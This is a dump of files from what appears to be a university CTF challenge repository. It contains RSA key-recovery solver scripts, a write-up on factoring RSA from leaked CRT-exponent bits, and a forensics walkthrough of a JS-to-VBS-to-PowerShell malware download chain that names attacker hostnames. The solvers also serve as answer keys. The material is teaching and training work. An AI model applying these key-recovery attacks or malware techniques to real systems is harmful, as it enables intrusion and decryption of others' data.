-62076393535220713230211372773016154819776973272085279510651810925567779949353129946722665324346680014266486318715153201960740792449256110092242298637141869182191301801348471698842750492673269805386405258903922775271516275959471007270470783319809938344980989030858451767810558937769006054050097442784355926821230070379192555314422288851726919132047206078443630648828611342794053179031715333055698280449463491394083273880477510623203232349139229518535496279365263598613132079698328994631219260929529014155663831397189773051194410051588749692352737665469175569662944453505412436038259868251153299961933349760369897472364513246615362132669886696823052680175413762753451532554603896709930434997447861155715656069046149639262746319959746238179869888630675350046188185867904504017641487194302334327723755607524433514488406681046596968802669158589535873655500657057147028422069215178280598799698023523842357762349312690981167196137904038634376059163646848305423446194854985523208266633269733804799399607579721802215740994923964998077749276376011664190442983045021233328860583431325491398740404717916957583624416525249155775990424790364048060223994351310834002052812950138181225201366866314173709814344726454058400929651246654127831150461139153521780070432541564467256212600334416658092578286615407601260752708323965051595729545763555521745630970189873094019504197470499857463907805936270010647572788276449685684281797985033841971693243345694540270555091524839897049609610694927649006414175285808616559721550306026476105719357460921592355959150692653059587214522745084239909633381558412919917765258331958067109432311999676460754436818201240023311791169802096388297862219517745888298152485206376817292783209092101414045488990410966964411575840592166475524123368782667715013887175556663844953274929494297381264202051980047425186510319292378252632808136510156368067796082090881873863176619957188519245758562409606283750005034060349233190765189422774601110274372976258448740486162640303554541285690390642874100570657406690134508272681549727638076837266298852607372446728482637226932907561200761597573567176950238238261414346592107964949875193908993522612254840698757416962124520050724327233377985303460697496676181895430294259015494830416056429816116680627673230428123227550005209799526871524994673920145445281764352654447538983391735348123813851971146216997750793741632897137346289689048299843427272709114665386119324590006011517253390435055796456069897547662246663469050, 7830486145829508377558227408290134666403414818680891369176645894657730719560462345413647777035691365258303368067215176543275998927964954949936712360465415742305180023074796925974228987920346807337046972890048193675380148777690313974213732587383856306544481992804522271933234142582135631837143021763752036371144162337258022513117655962693146611295672219977744995976478481618309460588961678471875936477345228279163041888319063508894362501867902730894177063341454634424454782062634032617628985824505983759212857299828749995752235758280573881085074326788874659358083585790319249788052723728978677280818302159890013608215097544022503686764809254320162354127388898310054146477537454655331114752144580956313131601466170634129721047436217501010686515461442226299103956329529388095001070391385189826814864746360320333918929686149324974844514612649731799514398645742580625276435924292653289878873850265379360271050603859206438004883855432886650553014115919828422317294957226985270768975519537120458232477529774162488973095316791366021139626153997771391194348622350835846276300080551743631687665470499546808409919692234446116541139972549724015591941496221132694347053824568526998941915494190313922421141792712177850635304804853629529860738709134170021521102700328604628927875567294032063066171031633521264813050524393039049915547228949811888603458908961700972119089383547482638110428947454915597289453149684921808588155575892869551719408017163519505152564311034805403584244791464453674297092713220925531618514351406361895037695504970845118751396728421079695580995084470838685511076186640881628743480208128654755986540162228797182203097429878571055580982419910698271318560371375725624590383889293031827343721601921283218257563981664825233636121202430668321472633600201081855377049584327600961474706457007803948936824801776548939412019028877381656854352042881659133167174502453362966793813997989646037370005971535903722675701268453950616768210577721799262016472978512795971976360288455246627122308235526400041892494207712587655624310348101802715615388185255043745377008056152447575197765696754537890671347192620664952431667401070828663411172784617836559669320812607668877073449814900939924918858434664371233944816438544081459935797541138873496291375791704149531348074915907756350500006241339201669154574473335111528050064627331874217370202929428747238792910498913366471880111057711710182734506773946328772476941505432386559666283038340899500750365525879310436221464632932)
2 | mix = [320097670159304209872309549471930993417143388077612479497520462342663934977666619462544724222917378443968580805422580825361629081490271425796180005007150747981294833573665302687843134857904098195466433204039058015530152552325684827139190765614362244643766711802006240778166882116884363374725459551909065104305033828828854239454604753713577854447476580313858442898211797176449603725270483947895282965175447381948570185109212852155846189091780576621552251326144055737198080348963003230356855332599698331598994549981281612662608348841085666739363070407550100107611043508427316142601784200258788876751333421411315222696828075445887895455540798110282831853710380354729703219505108629359197051336831375142595785378662848001960222878291497005997865756885831339332471275732796885611507451753622271015336628712225776167393560183733898486530850953580390452793438185371865569655507768389802668508433717577899938841236692983646823027361, 349362680724100439001784418744128033820777004106762219940030797663423035126842789961301765825984790980690057949860749399355278228450692377224412215897507215190015109832483673402204604232784701242900565985678019980900605960003183528535025133581067044874804468687010880739758605406077761031350401248992459970793003097988643424534679899913404629630391199540164124586883472387639995010304310446530364782969667797609685774685940403053235307671556459857310584515167273597080744839887558160920716970032955099943334650018552259294137522684003806871855045036984303040298988654317845297423677227040203951111165862748444474516781528350286768742283071330157900311167729282004019891879048809487509974878771126244472706852271120669147203065908414503160273025384004067262219422586521719641783916408458322110103608436662590492232330298616191719127365835397875038644290248233827642595125378514596518087399154247594983235918109876187387712452]
--------------------------------------------------------------------------------
/uni-ctf-2023/crypto/[Hard] Zombie Rolled/htb/solver.py:
--------------------------------------------------------------------------------
1 | from sage.all import *
2 | from Crypto.Util.number import long_to_bytes, bytes_to_long
3 | from fractions import Fraction
4 | from hashlib import sha256
5 |
6 | with open("output.txt") as f:
7 | exec(f.read())
8 |
9 |
10 | def fraction_mod(f, n):
11 | return f.numerator * pow(f.denominator, -1, n) % n
12 |
13 |
14 | class PublicKey:
15 |
16 | def __init__(self, pub):
17 | self.pub = pub
18 | self.f = self.magic(pub)
19 | self.nb = (self.f.denominator.bit_length() + 7) // 8
20 |
21 | def encrypt(self, m):
22 | return pow(m, self.f.numerator, self.f.denominator)
23 |
24 | def verify(self, m, sig):
25 | s1, s2 = sig
26 | h = bytes_to_long(sha256(m.to_bytes(self.nb, "big")).digest())
27 | a, b = m, h
28 | r = self.encrypt(s1)
29 | c = self.encrypt(s2)
30 | return fraction_mod(self.magic((a, b, c)), self.f.denominator) == r
31 |
32 | @staticmethod
33 | def magic(ar):
34 | a, b, c = ar
35 | return Fraction(a, b) + Fraction(b, c) + Fraction(c, a)
36 |
37 |
38 | def derive_private_key(pub):
39 | a, b, c = map(ZZ, pub)
40 | rhs = a / b + b / c + c / a
41 | P = QQ["a, b, c"]
42 | a, b, c = P.gens()
43 | eq = a / b + b / c + c / a - rhs
44 | f = EllipticCurve_from_cubic(eq.numerator(), [1, 0, 0])
45 | fi = f.inverse()
46 | G = f(pub)
47 | aa, bb, cc = fi(G.division_points(2)[0])
48 | l = lcm(lcm(aa.denom(), bb.denom()), cc.denom())
49 | aa, bb, cc = ZZ(aa * l), ZZ(bb * l), ZZ(cc * l)
50 | assert aa / bb + bb / cc + cc / aa == rhs
51 | return int(aa), int(bb), int(cc)
52 |
53 |
54 | f = PublicKey.magic(pub)
55 | e = f.numerator
56 | n = f.denominator
57 | p, q, r = derive_private_key(pub)
58 | assert p * q * r == n
59 | print(p, q, r)
60 | phi = (p - 1) * (q - 1) * (r - 1)
61 | d = pow(e, -1, phi)
62 | s1ps2 = pow(mix[0], d, n)
63 | s1ms2 = pow(mix[1], d, n)
64 | i2 = pow(2, -1, n)
65 | s1 = (s1ps2 + s1ms2) * i2 % n
66 | s2 = (s1ps2 - s1ms2) * i2 % n
67 | r = pow(s1, e, n)
68 | c = pow(s2, e, n)
69 |
70 | P = QQ["a, b"]
71 | a, b = P.gens()
72 | """
73 | a*b^2 + a^2*c + b*c^2 = x*a*b*c (mod n)
74 | (a*b^2 + a^2*c + b*c^2)/(a*b*c) = r = x (mod n)
75 | x/y = r (mod n)
76 | x, y are small -> LLL
77 | g = gcd(x, y) != 1 -> bruteforce
78 | """
79 |
80 | B = matrix(ZZ, [[r, 1], [n, 0]])
81 | B = B.LLL()
82 | x, y = map(abs, B[0])
83 | assert x * pow(y, -1, n) % n == r
84 | for g in range(1, 100):
85 | xx, yy = x * g, y * g
86 | I = P.ideal([
87 | a * b**2 + a**2 * c + b * c**2 - xx,
88 | a * b * c - yy,
89 | ])
90 | try:
91 | sol = I.variety()[0]
92 | print(sol)
93 | print(g, long_to_bytes(int(sol[a])))
94 | break
95 | except IndexError:
96 | pass
97 |
--------------------------------------------------------------------------------
/uni-ctf-2023/crypto/[Medium] Mayday Mayday/Makefile:
--------------------------------------------------------------------------------
1 | default:
2 | ifdef name
3 | @cd challenge; \
4 | python3 source.py; \
5 | mkdir crypto_$(name); \
6 | cp source.py output.txt ./crypto_$(name); \
7 | cp output.txt ../htb/; \
8 | mv ./crypto_$(name) ../release/;
9 |
10 | @cd release; \
11 | zip -9 -r ./crypto_$(name).zip ./crypto_$(name); \
12 | unzip -l ./crypto_$(name).zip;
13 |
14 | @echo [+] Challenge was built successfully.
15 | else
16 | @echo [-] Please define the challenge name. For example, \"make name=cool_chall_name\"
17 | endif
18 |
19 | flag:
20 | @echo [+] Flag : $$(cd challenge; python3 -c 'import secret; print(secret.FLAG.decode())')
21 | solver:
22 | @echo [+] PoC : $$(cd htb ; sage solver.sage)
23 | @find . -name "*.sage.py" -type f -delete
24 |
25 | test: clean default flag solver
26 |
27 | clean:
28 | @rm -rf release/*
29 | @rm -rf htb/output.txt
30 | @find . -name "*.sage.py" -type f -delete
31 | @echo [+] Challenge release deleted successfully.
32 |
--------------------------------------------------------------------------------
/uni-ctf-2023/crypto/[Medium] Mayday Mayday/README.md:
--------------------------------------------------------------------------------
1 | 
2 |
3 | Mayday Mayday
5 |
6 | 28th 2022 / Document No. D22.102.16
7 |
8 | Prepared By: `aris`
9 |
10 | Challenge Author(s): `aris`
11 |
12 | Difficulty: Medium
13 |
14 | Classification: Official
15 |
16 | # Synopsis
17 |
18 | - In this challenge, the players have to figure out how to factor $N$ either by exploiting the partial leakage of the CRT components. Even though there is a [paper](https://eprint.iacr.org/2022/271.pdf) that describes the exploitation steps, it is feasible for a player to figure them out themselves, as well.
19 |
20 | ## Description
21 |
22 | - After successfully obtaining the research papers by extracting the encryption key, a new obstacle arises. The essential information regarding potential cures, including formulas and test results, is shielded by another layer of encryption. Can you overcome this additional challenge to reveal the final formula, enabling you to initiate the cure creation process?
23 |
24 | ## Skills Required
25 |
26 | - Basic Python source code analysis.
27 | - Familiar with translating mathematical parameters into relations and equations.
28 | - Knowledge of the RSA-CRT variant.
29 |
30 | ## Skills Learned
31 |
32 | - Learn how to factor the RSA modulus $N$ from partial leakage of $d_p$ and/or $d_q$.
33 | - Learn how to research on the internet for papers and/or cryptographic vulnerabilities.
34 |
35 | # Enumeration
36 |
37 | ## Analyzing the source code
38 |
39 | Looking at `source.py`, we can see that the flow of the script is pretty straight forward. There is a class with an RSA implementation and the flag is encrypted with RSA. What stands out is the key generation process.
40 |
41 | ```python
42 | class Crypto:
43 | def __init__(self, bits):
44 | self.bits = bits
45 | self.alpha = 1/9
46 | self.delta = 1/4
47 | self.known = int(bits*delta)
48 |
49 | def keygen(self):
50 | while True:
51 | p, q = [getPrime(self.bits//2) for _ in '__']
52 | self.e = getPrime(int(self.bits*alpha))
53 | φ = (p-1)*(q-1)
54 | try:
55 | dp = pow(e, -1, p-1)
56 | dq = pow(e, -1, q-1)
57 | self.n = p*q
58 | break
59 | except:
60 | pass
61 |
62 | return (self.n, self.e), (dp, dq)
63 |
64 | def encrypt(self, m):
65 | return pow(m, self.e, self.n)
66 | ```
67 |
68 | The main script body is also straight forward.
69 |
70 | ```python
71 | rsa = Crypto(2048)
72 | _, (dp, dq) = rsa.keygen()
73 |
74 | m = bytes_to_long(FLAG)
75 | c = rsa.encrypt(m)
76 |
77 | with open('output.txt', 'w') as f:
78 | f.write(f'N = 0x{rsa.n:x}\n')
79 | f.write(f'e = 0x{rsa.e:x}\n')
80 | f.write(f'c = 0x{c:x}\n')
81 | f.write(f'dp = 0x{(dp >> (rsa.bits//2 - rsa.known)):x}\n')
82 | f.write(f'dq = 0x{(dq >> (rsa.bits//2 - rsa.known)):x}\n')
83 | ```
84 |
85 | The basic workflow of the script is as follows:
86 |
87 | 1. An RSA-2048 cryptosystem is initialized.
88 | 2. Then there is the key generation process which returns $d_p, d_q$ as the private keys instead of just $d$. This is known as the RSA-CRT variant of RSA and is considered faster than the standard decryption method that uses $d$.
89 | 3. The flag is encrypted.
90 | 4. We are given $N, e, c$ as well as a few MSB of the private keys $d_p, d_q$.
91 |
92 | What is worth to analyze is the choice of the public exponent $e$ and the leakage of the secret CRT exponents $d_p, d_q$.
93 |
94 | ## Analyzing the RSA-CRT components
95 |
96 | Apart from the standard parameters, there are also three values that we have not discussed yet. Namely, `alpha`, `delta` and `known`. We will denote `alpha` as $α$ and `delta` as $δ$.
97 |
98 | The public exponent is a random prime number and its size is bounded by $\lfloor 2048 \cdot \dfrac{1}{9} \rfloor = 227$ bits. Also, the size of the leakage is $\dfrac{2048}{2} - 2048*δ = 1024 - \lfloor 2048 \cdot \dfrac{1}{4} \rfloor = 512$ bits which is $\dfrac{1}{4}$ the size of $N$. The choice of the public exponent's size does not really look that random so this makes us think that the bounds for the RSA-CRT components are chosen in a way that makes the cryptosystem vulnerable.
99 |
100 | Before moving on, let us write a function that loads the data from the output file.
101 |
102 | ```python
103 | def load_data():
104 | with open('output.txt') as f:
105 | exec(f.readline())
106 | exec(f.readline())
107 | exec(f.readline())
108 | dp_msb = eval(f.readline().split(' = ')[1].strip())
109 | dq_msb = eval(f.readline().split(' = ')[1].strip())
110 | return N, e, c, dp_msb, dq_msb
111 | ```
112 |
113 | # Solution
114 |
115 | ## Finding the vulnerability
116 |
117 | Usually, when there is some kind of leakage of secret parameters, our first thought is applying Coppersmith's method for univariate or bivariate polynomials to find small roots. However this method does not work for arbitrary leakage sizes. We cannot apply this method directly in this challenge, first we should perform an additional step.
118 |
119 | At this point, it is important to note that this challenge can be solved either manually, either by finding the right [paper](https://eprint.iacr.org/2022/271.pdf). One can find this paper by searching around the keywords "rsa factoring crt exponents public exponent". In the case which the MSB of $d_p, d_q$, which is our case, is significantly easier than the LSB case. The LSB case was demonstrated in Bauhinia CTF 2023 with the challenge `grhkm's babyRSA`.
120 |
121 | The core vulnerability of this RSA setup is the bound of $e$ and the size of the leakage of the RSA-CRT exponents which allow us to recover the entire secret exponents and factor $N$ as a result. The exploitation will be done in two steps.
122 |
123 | 1. In the first step, we have to recover the two numbers $k,l$ such that $ed_p = 1 + k(p-1)$ and $ed_q = 1 + l(q-1)$.
124 | 2. In the second step, we compute the unknown LSB of $d_p, d_q$ and then we obtain $p,q$ with a single substitution.
125 |
126 | We will follow the section (3.1) of the paper. We can see that it begins with calculating the product $k \cdot l$. Let:
127 | $$d_p = A*2^i + B\\
128 | d_q = C*2^i + D$$
129 | where $A$ the known MSB and $B$ the unknown LSB and $i$ the number of the unknown bits. Then we can compute $A = k \cdot l$ as:
130 | $$A = \lceil \dfrac{2^{2i}e^2 A C}{N} \rceil$$
131 | Let us write a function that computes the product $k \cdot l$.
132 |
133 | ```python
134 | def calculate_product_kl(dp_msb, dq_msb, N, e, i):
135 | return ceil(((2**(2*i) * e**2 * dp_msb * dq_msb) / N))
136 |
137 | bits = 2048
138 | known = 512
139 | N = ... # see output.txt
140 | e = ...
141 | dp_msb = ...
142 | dq_msb = ...
143 | i = bits//2 - known
144 |
145 | A = calculate_product_kl(dp_msb, dq_msb, N, e, i)
146 | ```
147 |
148 | According to the paper, we can write:
149 | $$k + l = 1 - kl(N-1) \pmod e\quad\quad\quad\quad(1)$$
150 | We know that $0 \leq k + l < 2e$ so either $0 \leq k+l < e$ or $e \leq k + l < 2e$. In the first case, the modulo is not applied at all while in the second case we expect that the sum $k+l$ is reduced by a single multiple of $e$ so by adding $e$ we get the unreduced sum. This is because $2e$ and $e$ differ by one multiple of $e$.
151 |
152 | For this part, the method of the paper calculates $k,l$ as the roots of two polynomials defined over $GF(e)$. It turns out that this is not required at all. There are two unknowns $k,l$ so we would need two relations in terms of $k,l$ to solve a system of equations. The first relation is already known $A = k \cdot l$. For the second equation we can use $(1)$. Therefore we know the following:
153 | $$k \cdot l = A\\
154 | k + l = 1 - A(N-1)$$
155 | Knowing these, we can solve for $k,l$ over the integers directly. Let us use SageMath to solve this system of equations. In the case it returns nothing, it is probably because the sum is larger than $e$ so we would have to add $e$ once.
156 |
157 | ```python
158 | def recover_k_and_l(A, N, e):
159 | k_plus_l = (1-A*(N-1)) % e
160 |
161 | k, l = var('k,l', domain=ZZ)
162 |
163 | # check both possibilities
164 | for s in [k_plus_l, k_plus_l + e]:
165 | try:
166 | sol = solve([k*l == A, k+l == s], k, l, solution_dict=True)[0]
167 | k, l = int(sol[k]), int(sol[l])
168 | break
169 | except:
170 | pass
171 |
172 | assert A == k*l
173 |
174 | return k, l
175 | ```
176 |
177 | ## Solving for the private CRT exponents
178 |
179 | Having recovered $k,l$, we can proceed with recovering $d_p, d_q$. We know that:
180 | $$ed_p \equiv 1 \pmod {p-1}$$
181 | Recovering $p$ is enough to factor $N$ so we from now on we care only about the recovery of $d_p$ and not $d_q$. Doing some elementary algebra we can rewrite these relations as following:
182 | $$ed_p + k - 1 \equiv 0 \pmod{p}$$
183 | and substituting $d_p, d_q$ using the known and unknown bits:
184 | $$\begin{align}e(A*2^i+B) + k - 1 &\equiv 0 \pmod p\\
185 | 2^iAe + Be + k - 1 \equiv 0 \pmod p
186 | \end{align}$$
187 | According to the paper, we can define the polynomial $P$ as below.
188 | $$P(x) = x + e^{-1}(A2^i + k - 1)$$
189 | over $\mathbb{Z}/_{kN}\mathbb{Z}$. The root of this polynomial is $x = B$ so all we have to do is apply the Coppersmith's method on $P$ to find the small roots. Note that the bit length of $kN$ is approximately $\approx 1024 + 2048 = 3072$ bits and $B$ is approximately $\approx 1024$ bits which is less than $\dfrac{1}{3}$ of $kN$. This means that Coppersmith is guaranteed to return as a solution.
190 |
191 | Once we recover $d_p$, we can compute $p$ as:
192 | $$p = \dfrac{ed_p + k - 1}{k}$$
193 | and factor $N$.
194 |
195 | ```python
196 | def factor(dp_msb, N, e, k, l, i):
197 | # we found k,l but probably in the wrong order
198 | # try both
199 | for kt, _ in [[k, l], [l, k]]:
200 | try:
201 | x = PolynomialRing(Zmod(kt*N), 'x').gens()[0]
202 | F = x + (e*dp_msb*2**i + kt - 1) * pow(e, -1, kt*N)
203 | dp_lsb = int(F.small_roots(X=2**i, beta=0.5)[0])
204 | dp = (dp_msb << i) + dp_lsb
205 |
206 | p = (e*dp+kt-1) // kt
207 | q = N // p
208 |
209 | assert N == p * q
210 |
211 | return p, q
212 | except:
213 | pass
214 | ```
215 |
216 | ## Exploitation
217 |
218 | Once we have factored $N$, we can decrypt the flag.
219 |
220 | ```python
221 | def decrypt(N, e, p, q, c):
222 | phi = (p-1)*(q-1)
223 | d = pow(e, -1, phi)
224 | m = pow(c, d, n)
225 | return m
226 | ```
227 |
228 | ### Getting the flag
229 |
230 | A final summary of all that was said above:
231 |
232 | 1. Notice that the bound of the public exponent $e$ and the size of the leakage of $d_p, d_q$ enable us to recover the private CRT exponents.
233 | 2. By minimal researching on the internet we can find the paper that describes the exploitation process. Alternatively, we can proceed with solving it by figuring out the equations ourselves.
234 | 3. Having factored $N$, we can decrypt the flag.
235 |
236 | This recap can be represented by code with the `pwn()` function:
237 |
238 | ```python
239 | from Crypto.Util.number import long_to_bytes as l2b
240 |
241 | def pwn():
242 | N, e, c, dp_msb, dq_msb = load_data()
243 | bits = 2048
244 | known = 512
245 | i = bits//2 - known
246 | A = calculate_product_kl(dp_msb, dq_msb, N, e, i)
247 | k, l = recover_k_and_l(A, N, e)
248 | p, q = factor(dp_msb, N, e, k, l, i)
249 | flag = decrypt(N, e, p, q, c)
250 | print(l2b(flag))
251 |
252 | pwn()
253 | ```
254 |
--------------------------------------------------------------------------------
/uni-ctf-2023/crypto/[Medium] Mayday Mayday/htb/output.txt:
--------------------------------------------------------------------------------
1 | N = 0x78fb80151a498704541b888b9ca21b9f159a45069b99b04befcb0e0403178dc243a66492771f057b28262332caecc673a2c68fd63e7c850dc534a74c705f865841c0b5af1e0791b8b5cc55ad3b04e25f20dedc15c36db46c328a61f3a10872d47d9426584f410fde4c8c2ebfaccc8d6a6bd1c067e5e8d8f107b56bf86ac06cd8a20661af832019de6e00ae6be24a946fe229476541b04b9a808375739681efd1888e44d41196e396af66f91f992383955f5faef0fc1fc7b5175135ab3ed62867a84843c49bdf83d0497b255e35432b332705cd09f01670815ce167aa35f7a454f8b26b6d6fd9a0006194ad2f8f33160c13c08c81fe8f74e13e84e9cdf6566d2f
2 | e = 0x4b3393c9fe2e50e0c76920e1f34e0c86417f9a9ef8b5a3fa41b381355
3 | c = 0x17f2b5a46e4122ff819807a9d92b6225c483cf93c9804381098ecd6b81f4670e94d8930001b760f1d26bc7aa7dda48c9e12809d20b33fdb4c4dd9190b105b7dab42e932b99aaff54023873381e7387f1b2b18b355d4476b664d44c40413d82a10635fe6e7322543943aed2dcfbe49764b8da70edeb88d6f63ee47f025be5f2f38319611ab74cd5db6f90f60870ecbb57a884f821d873db06aadf0e61ff74cc7d4c8fc1e527dba9b205220c6707f750822c675c530f8ad6956e41ab80911da49c3d6a7d27e93c44ba5968f2f47a9c5a2694c9d6da245ceffe9cab66b6043774f446b1b08ee4739d3cc716b87c8225a84d3c4ea2fdf68143d09f062c880a870554
4 | dp = 0x59a2219560ee56e7c35f310a4d101061aa61e0ae4eae7605eb63784209ad488b4ed161e780811edd61bf593e2d385beccfd255b459382d8a9029943781b540e7
5 | dq = 0x39719131fbfd8afbc972ca005a430d080775bf1a5b3e8b789aba5c5110a31bd155ff13fba1019bb6cb7db887685e34ca7966a891bfad029b55b92c11201559e5
6 |
--------------------------------------------------------------------------------
/uni-ctf-2023/crypto/[Medium] Mayday Mayday/htb/solver.sage:
--------------------------------------------------------------------------------
1 | from Crypto.Util.number import long_to_bytes as l2b
2 |
3 | with open('output.txt') as f:
4 | exec(f.readline())
5 | exec(f.readline())
6 | exec(f.readline())
7 | dp_msb = eval(f.readline().split(' = ')[1].strip())
8 | dq_msb = eval(f.readline().split(' = ')[1].strip())
9 |
10 | BITS = 2048
11 | alpha = 1/9
12 | delta = 1/4
13 | KNOWN_BITS = int(BITS*delta)
14 | i = BITS//2 - KNOWN_BITS
15 |
16 | A = ceil(((2**(2*i) * e**2 * dp_msb * dq_msb) / N)) # A = k*l
17 |
18 | k_plus_l = (1-A*(N-1)) % e
19 |
20 | k, l = var('k,l', domain=ZZ)
21 |
22 | for s in [k_plus_l, k_plus_l + e]:
23 | try:
24 | sol = solve([k*l == A, k+l == s], k, l, solution_dict=True)[0]
25 | k, l = int(sol[k]), int(sol[l])
26 | break
27 | except:
28 | pass
29 |
30 | print(f'[+] {k = }')
31 | print(f'[+] {l = }')
32 |
33 | assert A == k*l
34 |
35 | # we found k,l but probably in the wrong order
36 | # try both
37 | for kt, _ in [[k, l], [l, k]]:
38 | try:
39 | x = PolynomialRing(Zmod(kt*N), 'x').gens()[0]
40 |
41 | F = x + (e*dp_msb*2**i + kt - 1) * pow(e, -1, kt*N)
42 |
43 | dp_lsb = int(F.small_roots(X=2**i, beta=0.5)[0])
44 |
45 | print(f'[+] {dp_lsb = }')
46 |
47 | dp = (dp_msb << i) + dp_lsb
48 |
49 | p = (e*dp+kt-1) // kt
50 | q = N // p
51 |
52 | assert N == p * q
53 |
54 | print(f'[+] {p = }')
55 | print(f'[+] {q = }')
56 |
57 | phi = (p-1)*(q-1)
58 | d = pow(e, -1, phi)
59 | m = pow(c, d, N)
60 |
61 | print(l2b(m))
62 | except:
63 | pass
64 |
65 |
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Easy] One Step Closer/README.md:
--------------------------------------------------------------------------------
1 | 
2 |
3 | One Step Closer
4 |
5 | 20th November 2023 / Document No. D23.102.XX
6 |
7 | Prepared By: thewildspirit
8 |
9 | Challenge Author(s): thewildspirit
10 |
11 | Difficulty: Easy
12 |
13 | Classification: Official
14 |
15 | # Synopsis
16 |
17 | One step colser is an easy forensics challenge that involves analyzing a malicious js attachment leading to VBS and PowerShell code execution.
18 |
19 | ## Description
20 |
21 | * Tasked with defending the antidote's research, a diverse group of students united against a relentless cyber onslaught. As codes clashed and defenses were tested, their collective effort stood as humanity's beacon, inching closer to safeguarding the research for the cure with every thwarted attack. A stealthy attack might have penetrated their defenses. Along with the Hackster's University students, analyze the provided file so you can detect this attack in the future. *Note:** Make sure you edit `/etc/host` so that any hostnames found point to the Docker IP.
22 |
23 | ## Skills Required
24 |
25 | * Familiarity with malware delivery techniques
26 |
27 | ## Skills Learned
28 |
29 | * Analyzing malicous Java-Script code
30 | * Analyzing malicious VBS code
31 | * Analyzing malicious PowerShell code
32 | * Extracting hidden payloads
33 |
34 | # Enumeration
35 |
36 | Players are given the following file:
37 |
38 | * **vaccine.js**: Malicious JS attachment.
39 |
40 | Opening this file, we immediately notice that is heavily obfuscated. The code contains 2 functions that are never used, and a few lines that are actually executed as it can be seen below.
41 |
42 | 
43 |
44 | Allthough it seems hard to read, the only obfuscation technique used, is replacing variable and function names with large random strings. To be able to read it, we need to replace the variables with simple names.
45 |
46 | 
47 |
48 | Now we can easily read the code. To sum up, the attacker downloads a what it seems to be a `VBS` file, saves it on the temp folder and executes it. The malicious `VBS` file is downloaded from this URL `http://infected.human.htb/d/BKtQR`. Accessing this link, we can continue to the second step.
49 |
50 | Since the second step is even more heavily obfuscated, in the screenshot below, can be seen only a small part of the script.
51 |
52 | 
53 |
54 | Again, we notice very large and random variable names, random variable names being declared and not being used later on the code. Renaming and removing the unused variables will help us understand the script better.
55 | 
56 |
57 | Things we have to note so far:
58 | * Replace obfuscation techniques have been used.
59 | * A powershell command is being created.
60 | * The powershell command is executed at the end.
61 |
62 | We can either continue using a static analysis approach or we can contiue our analysis dynamically. The easier way is the dynamic one and we will use it for this writeup.
63 |
64 | Saving the code into a file called `malicious.vbs` we can debug it by using `cscript.exe` as follows:
65 |
66 | ```cmd
67 | cscript.exe //X malicious.exe
68 | ```
69 |
70 | And by placing a breakpoint at the last line we can see the content of the variable that is being passed as an argument to the `Run` function.
71 |
72 | 
73 |
74 | The powershell script can be seen below:
75 |
76 | 
77 |
78 | To deobfuscate it, and learn what the attacker is trying to execute we need to:
79 | * Replace `em9tYmllc` with `A`.
80 | * Base64-decode it.
81 |
82 | We can use cyberchef for this:
83 |
84 | 
85 |
86 | The final PowerShell script can be seen here:
87 |
88 | 
89 |
90 | * It downloads an image from this URL: `http://infected.zombie.htb/WJveX71agmOQ6Gw_1698762642.jpg`
91 | * It carves out an embedded base64 string starting from the offset `<>` until `<>`.
92 | * Base64 decodes it.
93 | * Executes it using reflection.
94 |
95 | # Solution
96 |
97 | We can download the image from the previously found link and carve out the base64 string using just an editor.
98 |
99 | By decoding it we can see the flag.
100 | 
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/banner.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/cyberchef.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/cyberchef.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/debug.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/debug.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/deobf_js.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/deobf_js.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/deobf_vbs.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/deobf_vbs.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/final_powershell.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/final_powershell.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/flag.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/htb.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/js.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/js.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/powershell.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/powershell.png
--------------------------------------------------------------------------------
/uni-ctf-2023/forensics/[Easy] One Step Closer/assets/vb.png:
--------------------------------------------------------------------------------
